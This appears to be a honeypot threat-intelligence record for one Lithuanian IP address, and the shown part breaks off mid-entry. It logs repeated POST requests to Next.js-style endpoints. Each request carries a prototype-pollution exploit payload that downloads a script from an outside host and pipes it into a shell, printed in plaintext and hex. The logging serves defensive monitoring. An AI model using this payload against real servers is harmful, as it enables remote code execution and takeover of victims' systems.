{"ip":"141.98.10.59","total_events":19,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":null,"why":["19 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range.","Sent 18,964 bytes despite few ports and no known exploit path: focused interaction with one service, worth a look."],"engagement":{"level":"payload","label":"Sustained payload","detail":"18,964 bytes sent","bytes_sent":18964,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-07T21:39:34","last_seen":"2026-09-07T23:04:37","events_24h":0,"events_7d":0,"geo":{"country_code":"LT","country_name":"Lithuania","region":"","city":"","lat":55.4167,"lon":24.0,"asn":209605,"org":"UAB Host Baltic"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[],"top_ports":[{"port":3001,"proto":"tcp","label":"","count":10},{"port":3000,"proto":"tcp","label":"Web-alt","count":9}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cuq071_00050815_57e22b7f_xe7f3"]},"fingerprint_peers":{"b11cuq071_00050815_57e22b7f_xe7f3":5},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0"],"timeline":[{"date":"2026-09-07","count":19}],"recent_events":[{"timestamp":"2026-09-07T23:04:37","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=d945bf001796f6a43fb46da0c28ee56c\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--d945bf001796f6a43fb46da0c28ee56c\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--d945bf001796f6a43fb46da0c28ee56c\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--d945bf001796f6a43fb46da0c28ee56c\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--d945bf001796f6a43fb46da0c28ee56c--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d64393435626630303137393666366134336662343664613063323865653536630d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d64393435626630303137393666366134336662343664613063323865653536630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d64393435626630303137393666366134336662343664613063323865653536630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d64393435626630303137393666366134336662343664613063323865653536630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d64393435626630303137393666366134336662343664613063323865653536632d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"70a33fe8-9dc6-480d-940b-86378d2971f2","seq":1,"duration_ms":0,"bytes_in":993,"bytes_out":77},{"timestamp":"2026-09-07T22:42:44","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=40033763b49d78e01f139eb15addfa46\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--40033763b49d78e01f139eb15addfa46\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--40033763b49d78e01f139eb15addfa46\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--40033763b49d78e01f139eb15addfa46\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--40033763b49d78e01f139eb15addfa46--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d34303033333736336234396437386530316631333965623135616464666134360d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d34303033333736336234396437386530316631333965623135616464666134360d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d34303033333736336234396437386530316631333965623135616464666134360d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d34303033333736336234396437386530316631333965623135616464666134360d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d34303033333736336234396437386530316631333965623135616464666134362d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"68d6a909-3b49-4e5f-8508-75b5e139d548","seq":1,"duration_ms":0,"bytes_in":999,"bytes_out":77},{"timestamp":"2026-09-07T22:38:50","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=3d98519f8358035972506e17a428f4a3\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--3d98519f8358035972506e17a428f4a3\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--3d98519f8358035972506e17a428f4a3\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--3d98519f8358035972506e17a428f4a3\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--3d98519f8358035972506e17a428f4a3--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next/server","summary":"","payload_hex":"504f5354202f5f6e6578742f73657276657220485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d33643938353139663833353830333539373235303665313761343238663461330d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d33643938353139663833353830333539373235303665313761343238663461330d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d33643938353139663833353830333539373235303665313761343238663461330d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d33643938353139663833353830333539373235303665313761343238663461330d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d33643938353139663833353830333539373235303665313761343238663461332d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"0c093b0d-e41d-4d60-bd7c-2842be241616","seq":1,"duration_ms":0,"bytes_in":1004,"bytes_out":77},{"timestamp":"2026-09-07T22:37:30","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=ac0440b72f149689f4d46259f8e6e97b\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--ac0440b72f149689f4d46259f8e6e97b\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--ac0440b72f149689f4d46259f8e6e97b\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--ac0440b72f149689f4d46259f8e6e97b\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--ac0440b72f149689f4d46259f8e6e97b--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d61633034343062373266313439363839663464343632353966386536653937620d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d61633034343062373266313439363839663464343632353966386536653937620d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d61633034343062373266313439363839663464343632353966386536653937620d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d61633034343062373266313439363839663464343632353966386536653937620d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d61633034343062373266313439363839663464343632353966386536653937622d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"ec7c52ea-8719-4bd0-840d-d4e2d5827362","seq":1,"duration_ms":0,"bytes_in":993,"bytes_out":77},{"timestamp":"2026-09-07T22:26:32","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=c5e0c7080f3339dbed102bf46986627c\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--c5e0c7080f3339dbed102bf46986627c\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--c5e0c7080f3339dbed102bf46986627c\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--c5e0c7080f3339dbed102bf46986627c\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--c5e0c7080f3339dbed102bf46986627c--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d63356530633730383066333333396462656431303262663436393836363237630d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d63356530633730383066333333396462656431303262663436393836363237630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d63356530633730383066333333396462656431303262663436393836363237630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d63356530633730383066333333396462656431303262663436393836363237630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d63356530633730383066333333396462656431303262663436393836363237632d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"48615559-887f-49b1-99e2-280e5150a85a","seq":1,"duration_ms":0,"bytes_in":1001,"bytes_out":77},{"timestamp":"2026-09-07T22:26:21","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=c634469dc7634c5ab486e3c5e386e891\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--c634469dc7634c5ab486e3c5e386e891\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--c634469dc7634c5ab486e3c5e386e891\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--c634469dc7634c5ab486e3c5e386e891\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--c634469dc7634c5ab486e3c5e386e891--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next/server","summary":"","payload_hex":"504f5354202f5f6e6578742f73657276657220485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d63363334343639646337363334633561623438366533633565333836653839310d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d63363334343639646337363334633561623438366533633565333836653839310d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d63363334343639646337363334633561623438366533633565333836653839310d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d63363334343639646337363334633561623438366533633565333836653839310d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d63363334343639646337363334633561623438366533633565333836653839312d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"4f61eb23-0b11-4624-b1ff-09b2f37e0af7","seq":1,"duration_ms":0,"bytes_in":1002,"bytes_out":77},{"timestamp":"2026-09-07T22:25:28","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=943f8be2b2a787a0996b6896a34c0e40\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--943f8be2b2a787a0996b6896a34c0e40\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--943f8be2b2a787a0996b6896a34c0e40\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--943f8be2b2a787a0996b6896a34c0e40\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--943f8be2b2a787a0996b6896a34c0e40--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d39343366386265326232613738376130393936623638393661333463306534300d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d39343366386265326232613738376130393936623638393661333463306534300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d39343366386265326232613738376130393936623638393661333463306534300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d39343366386265326232613738376130393936623638393661333463306534300d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d39343366386265326232613738376130393936623638393661333463306534302d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"90b0958e-3450-4aad-82bd-7f084453758b","seq":1,"duration_ms":0,"bytes_in":1000,"bytes_out":77},{"timestamp":"2026-09-07T22:24:22","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=4b48646f66978476a25e5559b2f51fa4\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--4b48646f66978476a25e5559b2f51fa4\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--4b48646f66978476a25e5559b2f51fa4\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--4b48646f66978476a25e5559b2f51fa4\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--4b48646f66978476a25e5559b2f51fa4--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d34623438363436663636393738343736613235653535353962326635316661340d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d34623438363436663636393738343736613235653535353962326635316661340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733